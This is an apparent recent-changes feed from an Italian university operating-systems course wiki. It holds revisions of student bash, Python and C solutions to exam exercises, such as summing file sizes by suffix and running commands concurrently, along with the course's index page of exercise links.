   then echo &amp;quot;${DIR1%?}${NAME} differs from ${DIR2}${NAME}&amp;quot;&lt;br /&gt;
   fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
exit 0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=1029</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=1029"/>
		<updated>2015-04-15T11:28:58Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Questo &amp;amp;egrave; il Wiki del Corso di Sistemi Operativi&lt;br /&gt;
&lt;br /&gt;
[[Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)]]&lt;br /&gt;
&lt;br /&gt;
[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 12-09-11]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 25-01-2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 22-06-2011]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica, 18-07-2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica, 17-07-2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica, 23-01-2014]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica Esercizio 3 esami 17_07_12 - 17_06_14 - 19_07_10]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 23_01_14]]&lt;br /&gt;
&lt;br /&gt;
[[Albero binario 2002-07-23]]&lt;br /&gt;
&lt;br /&gt;
[[50 Sfumature di Fibonacci]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 20/06/12]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 17/06/14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 17 07 14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.01.2015]]&lt;br /&gt;
&lt;br /&gt;
[[bash scripting 2002 gennaio]]&lt;br /&gt;
&lt;br /&gt;
[[Process Race (Prova pratica 18-07-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Arduino web controller]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.06.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova_pratica_21_01_15]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 17.06.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 - 25.09.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20/02/2014]]&lt;br /&gt;
&lt;br /&gt;
[[Demone ruba input]]&lt;br /&gt;
&lt;br /&gt;
[[wifi daemon]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Problema Dei Filosofi]]&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]&lt;br /&gt;
&lt;br /&gt;
[[listx.h commentato + esempio su container_of]]&lt;br /&gt;
&lt;br /&gt;
[[Congettura di Goldbach]]&lt;br /&gt;
&lt;br /&gt;
[[list segments]]&lt;br /&gt;
&lt;br /&gt;
[[Execv/fork su file aperto]]&lt;br /&gt;
&lt;br /&gt;
[[Angry_Children]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 12/02/2009]]&lt;br /&gt;
&lt;br /&gt;
[[(Programma C) Un quadrato nella matrice]]&lt;br /&gt;
&lt;br /&gt;
[[&amp;quot;classi&amp;quot;_in_C]]&lt;br /&gt;
&lt;br /&gt;
[[Esempi del 02 dicembre 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Materiale dell'AA 2013-14]]&lt;br /&gt;
----&lt;br /&gt;
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=981</id>
		<title>Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=981"/>
		<updated>2015-04-10T08:54:51Z</updated>

		<summary type="html">&lt;p&gt;GFede: /* Soluzione di Federico Giuggioloni usando Python (2.7.6) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 3: Script bash o Python: (10 punti):&lt;br /&gt;
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso&lt;br /&gt;
(i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
$ suffixlen dir &lt;br /&gt;
.c: 44320&lt;br /&gt;
.o: 123000&lt;br /&gt;
.tar.gz: 555333&lt;br /&gt;
.jpg: 44332&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando bash ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
DIR=$1&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `find $DIR -name &amp;quot;*.*&amp;quot; -exec basename {} \; | sort -u -k2 -t.` ; do&lt;br /&gt;
&lt;br /&gt;
   if [[ $NAME != *&amp;quot;.&amp;quot;* ]] ; then&lt;br /&gt;
      continue&lt;br /&gt;
   fi&lt;br /&gt;
&lt;br /&gt;
   SUFFIX=${NAME#*.}&lt;br /&gt;
&lt;br /&gt;
   echo -ne &amp;quot;.${SUFFIX}: &amp;quot;&lt;br /&gt;
   TEST=`find $DIR -name &amp;quot;*.${SUFFIX}&amp;quot; -exec wc -c {} + | tail -1`&lt;br /&gt;
   echo $TEST | cut -d &amp;quot; &amp;quot; -f 1&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando Python (2.7.6) ==&lt;br /&gt;
&lt;br /&gt;
Non so come eliminare lo spazio aggiunto dalla print tra gli elementi separati dalla virgola.&lt;br /&gt;
Per il resto l'output è lo stesso di quello in bash.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
rootdir = sys.argv[1]&lt;br /&gt;
extsize = {}&lt;br /&gt;
&lt;br /&gt;
print&lt;br /&gt;
&lt;br /&gt;
for root, subFolders, files in os.walk(rootdir):&lt;br /&gt;
&lt;br /&gt;
   for file in files:&lt;br /&gt;
      fp = os.path.join(root, file)&lt;br /&gt;
      size = os.path.getsize(fp)&lt;br /&gt;
      extension = file.split(&amp;quot;.&amp;quot;)[-1]&lt;br /&gt;
      if extension in extsize:&lt;br /&gt;
         extsize[extension] += size&lt;br /&gt;
      else:&lt;br /&gt;
         extsize[extension] = size&lt;br /&gt;
&lt;br /&gt;
for key in extsize:&lt;br /&gt;
   print &amp;quot;.&amp;quot;, key, &amp;quot;:&amp;quot;, extsize[key]&lt;br /&gt;
&lt;br /&gt;
print&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=980</id>
		<title>Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=980"/>
		<updated>2015-04-10T08:53:43Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 3: Script bash o Python: (10 punti):&lt;br /&gt;
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso&lt;br /&gt;
(i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
$ suffixlen dir &lt;br /&gt;
.c: 44320&lt;br /&gt;
.o: 123000&lt;br /&gt;
.tar.gz: 555333&lt;br /&gt;
.jpg: 44332&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando bash ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
DIR=$1&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `find $DIR -name &amp;quot;*.*&amp;quot; -exec basename {} \; | sort -u -k2 -t.` ; do&lt;br /&gt;
&lt;br /&gt;
   if [[ $NAME != *&amp;quot;.&amp;quot;* ]] ; then&lt;br /&gt;
      continue&lt;br /&gt;
   fi&lt;br /&gt;
&lt;br /&gt;
   SUFFIX=${NAME#*.}&lt;br /&gt;
&lt;br /&gt;
   echo -ne &amp;quot;.${SUFFIX}: &amp;quot;&lt;br /&gt;
   TEST=`find $DIR -name &amp;quot;*.${SUFFIX}&amp;quot; -exec wc -c {} + | tail -1`&lt;br /&gt;
   echo $TEST | cut -d &amp;quot; &amp;quot; -f 1&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando Python (2.7.6) ==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
rootdir = sys.argv[1]&lt;br /&gt;
extsize = {}&lt;br /&gt;
&lt;br /&gt;
print&lt;br /&gt;
&lt;br /&gt;
for root, subFolders, files in os.walk(rootdir):&lt;br /&gt;
&lt;br /&gt;
   for file in files:&lt;br /&gt;
      fp = os.path.join(root, file)&lt;br /&gt;
      size = os.path.getsize(fp)&lt;br /&gt;
      extension = file.split(&amp;quot;.&amp;quot;)[-1]&lt;br /&gt;
      if extension in extsize:&lt;br /&gt;
         extsize[extension] += size&lt;br /&gt;
      else:&lt;br /&gt;
         extsize[extension] = size&lt;br /&gt;
&lt;br /&gt;
for key in extsize:&lt;br /&gt;
   print &amp;quot;.&amp;quot;, key, &amp;quot;:&amp;quot;, extsize[key]&lt;br /&gt;
&lt;br /&gt;
print&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=979</id>
		<title>Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=979"/>
		<updated>2015-04-10T08:01:17Z</updated>

		<summary type="html">&lt;p&gt;GFede: /* Soluzione di Federico Giuggioloni usando bash */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 3: Script bash o Python: (10 punti):&lt;br /&gt;
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso&lt;br /&gt;
(i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
$ suffixlen dir &lt;br /&gt;
.c: 44320&lt;br /&gt;
.o: 123000&lt;br /&gt;
.tar.gz: 555333&lt;br /&gt;
.jpg: 44332&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando bash ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
DIR=$1&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `find $DIR -name &amp;quot;*.*&amp;quot; -exec basename {} \; | sort -u -k2 -t.` ; do&lt;br /&gt;
&lt;br /&gt;
   if [[ $NAME != *&amp;quot;.&amp;quot;* ]] ; then&lt;br /&gt;
      continue&lt;br /&gt;
   fi&lt;br /&gt;
&lt;br /&gt;
   SUFFIX=${NAME#*.}&lt;br /&gt;
&lt;br /&gt;
   echo -ne &amp;quot;.${SUFFIX}: &amp;quot;&lt;br /&gt;
   TEST=`find $DIR -name &amp;quot;*.${SUFFIX}&amp;quot; -exec wc -c {} + | tail -1`&lt;br /&gt;
   echo $TEST | cut -d &amp;quot; &amp;quot; -f 1&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=978</id>
		<title>Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=978"/>
		<updated>2015-04-09T20:47:25Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 3: Script bash o Python: (10 punti):&lt;br /&gt;
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso&lt;br /&gt;
(i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
$ suffixlen dir &lt;br /&gt;
.c: 44320&lt;br /&gt;
.o: 123000&lt;br /&gt;
.tar.gz: 555333&lt;br /&gt;
.jpg: 44332&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando bash ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
DIR=$1&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `find $DIR -name &amp;quot;*.*&amp;quot; -exec basename {} \; | sort -u -k2 -t.` ; do&lt;br /&gt;
&lt;br /&gt;
   if [[ $NAME != *&amp;quot;.&amp;quot;* ]] ; then&lt;br /&gt;
      continue&lt;br /&gt;
   fi&lt;br /&gt;
&lt;br /&gt;
   SUFFIX=${NAME#*.}&lt;br /&gt;
&lt;br /&gt;
   echo -ne &amp;quot;.${SUFFIX}: &amp;quot;&lt;br /&gt;
   TEST=`find $DIR -name &amp;quot;*.${SUFFIX}&amp;quot; -exec wc -c {} +`&lt;br /&gt;
   echo $TEST | rev | cut -d &amp;quot; &amp;quot; -f 2 | rev&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=977</id>
		<title>Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Ampiezza_di_tutti_i_file_di_una_directory_divisi_per_suffisso_(Prova_pratica_29-05-2013)&amp;diff=977"/>
		<updated>2015-04-09T20:45:56Z</updated>

		<summary type="html">&lt;p&gt;GFede: Created page with &amp;quot;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt; Esercizio 3: Script bash o Python: (10 punti): Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una d...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 3: Script bash o Python: (10 punti):&lt;br /&gt;
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso (i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.&lt;br /&gt;
Es:&lt;br /&gt;
$ suffixlen dir .c: 44320&lt;br /&gt;
.o: 123000 .tar.gz: 555333 .jpg: 44332&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni usando bash ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
DIR=$1&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `find $DIR -name &amp;quot;*.*&amp;quot; -exec basename {} \; | sort -u -k2 -t.` ; do&lt;br /&gt;
&lt;br /&gt;
   if [[ $NAME != *&amp;quot;.&amp;quot;* ]] ; then&lt;br /&gt;
      continue&lt;br /&gt;
   fi&lt;br /&gt;
&lt;br /&gt;
   SUFFIX=${NAME#*.}&lt;br /&gt;
&lt;br /&gt;
   echo -ne &amp;quot;.${SUFFIX}: &amp;quot;&lt;br /&gt;
   TEST=`find $DIR -name &amp;quot;*.${SUFFIX}&amp;quot; -exec wc -c {} +`&lt;br /&gt;
   echo $TEST | rev | cut -d &amp;quot; &amp;quot; -f 2 | rev&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=976</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=976"/>
		<updated>2015-04-09T20:43:53Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Questo &amp;amp;egrave; il Wiki del Corso di Sistemi Operativi&lt;br /&gt;
&lt;br /&gt;
[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Albero binario 2002-07-23]]&lt;br /&gt;
&lt;br /&gt;
[[50 Sfumature di Fibonacci]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 20/06/12]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 17/06/14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 17 07 14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.01.2015]]&lt;br /&gt;
&lt;br /&gt;
[[bash scripting 2002 gennaio]]&lt;br /&gt;
&lt;br /&gt;
[[Process Race (Prova pratica 18-07-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Arduino web controller]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.06.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova_pratica_21_01_15]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 17.06.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 - 25.09.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20/02/2014]]&lt;br /&gt;
&lt;br /&gt;
[[Demone ruba input]]&lt;br /&gt;
&lt;br /&gt;
[[wifi daemon]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Problema Dei Filosofi]]&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]&lt;br /&gt;
&lt;br /&gt;
[[listx.h commentato + esempio su container_of]]&lt;br /&gt;
&lt;br /&gt;
[[Congettura di Goldbach]]&lt;br /&gt;
&lt;br /&gt;
[[list segments]]&lt;br /&gt;
&lt;br /&gt;
[[Execv/fork su file aperto]]&lt;br /&gt;
&lt;br /&gt;
[[Angry_Children]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 12/02/2009]]&lt;br /&gt;
&lt;br /&gt;
[[(Programma C) Un quadrato nella matrice]]&lt;br /&gt;
&lt;br /&gt;
[[&amp;quot;classi&amp;quot;_in_C]]&lt;br /&gt;
&lt;br /&gt;
[[Esempi del 02 dicembre 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Materiale dell'AA 2013-14]]&lt;br /&gt;
----&lt;br /&gt;
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=942</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=942"/>
		<updated>2015-03-26T16:53:29Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Questo &amp;amp;egrave; il Wiki del Corso di Sistemi Operativi&lt;br /&gt;
&lt;br /&gt;
[[Process Race (Prova pratica 18-07-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Arduino web controller]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.06.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova_pratica_21_01_15]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 17.06.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 - 25.09.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20/02/2014]]&lt;br /&gt;
&lt;br /&gt;
[[Demone ruba input]]&lt;br /&gt;
&lt;br /&gt;
[[wifi daemon]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Problema Dei Filosofi]]&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]&lt;br /&gt;
&lt;br /&gt;
[[listx.h commentato + esempio su container_of]]&lt;br /&gt;
&lt;br /&gt;
[[Congettura di Goldbach]]&lt;br /&gt;
&lt;br /&gt;
[[list segments]]&lt;br /&gt;
&lt;br /&gt;
[[Execv/fork su file aperto]]&lt;br /&gt;
&lt;br /&gt;
[[Angry_Children]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 12/02/2009]]&lt;br /&gt;
&lt;br /&gt;
[[(Programma C) Un quadrato nella matrice]]&lt;br /&gt;
&lt;br /&gt;
[[&amp;quot;classi&amp;quot;_in_C]]&lt;br /&gt;
&lt;br /&gt;
[[Esempi del 02 dicembre 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Materiale dell'AA 2013-14]]&lt;br /&gt;
----&lt;br /&gt;
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Process_Race_(Prova_pratica_18-07-2013)&amp;diff=941</id>
		<title>Process Race (Prova pratica 18-07-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Process_Race_(Prova_pratica_18-07-2013)&amp;diff=941"/>
		<updated>2015-03-26T16:52:22Z</updated>

		<summary type="html">&lt;p&gt;GFede: /* Soluzione di Federico Giuggioloni */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 1: Linguaggio C (obbligatorio): (20 punti)&lt;br /&gt;
Una gara fra processi.&lt;br /&gt;
Scrivere un programma C che prenda in input (da standard input) alcune righe contenenti comandi con relativi parametri. La lista dei comandi termina quando viene inserita una riga vuota.&lt;br /&gt;
A questo punto tutti i comandi vengono eseguiti in modo concorrente e deve venir stampato l'ordine di terminazione.&lt;br /&gt;
(E' vietato usare system, popen o simili)&lt;br /&gt;
Es.&lt;br /&gt;
$ prorace&lt;br /&gt;
sleep 30&lt;br /&gt;
sleep 10&lt;br /&gt;
sleep 20&lt;br /&gt;
ls -l&lt;br /&gt;
input di una riga vuota .... output di ls -l ....&lt;br /&gt;
1 arrivato: ls -l&lt;br /&gt;
2 arrivato: sleep 10&lt;br /&gt;
3 arrivato: sleep 20&lt;br /&gt;
4 arrivato: sleep 30&lt;br /&gt;
&lt;br /&gt;
Esercizio 2: completamento (10 punti)&lt;br /&gt;
Si estenda l'esercizio 1 in modo da avere una partenza piu' sincronizzata dei processi.&lt;br /&gt;
Tutti i processi devono attendere un evento che li sblocchi tutti insieme, per esempio tutti i processi possono mettersi in&lt;br /&gt;
attesa con poll o select sul canale di lettura di una pipe. Quando “prorace” scrive un carattere sulla pipe tutti i processi diventano ready.&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;poll.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
struct list_el&lt;br /&gt;
{&lt;br /&gt;
   pid_t pid;&lt;br /&gt;
   char* comando;&lt;br /&gt;
   struct list_el* next;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
void insert_el(struct list_el** head, char* command, pid_t id)&lt;br /&gt;
{&lt;br /&gt;
   struct list_el *new_el = malloc(sizeof(struct list_el));&lt;br /&gt;
   new_el-&amp;gt;comando = malloc(sizeof(char) * strlen(command) + 1);&lt;br /&gt;
   strcpy(new_el-&amp;gt;comando, command);&lt;br /&gt;
   new_el-&amp;gt;next = NULL;&lt;br /&gt;
   new_el-&amp;gt;pid = id;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
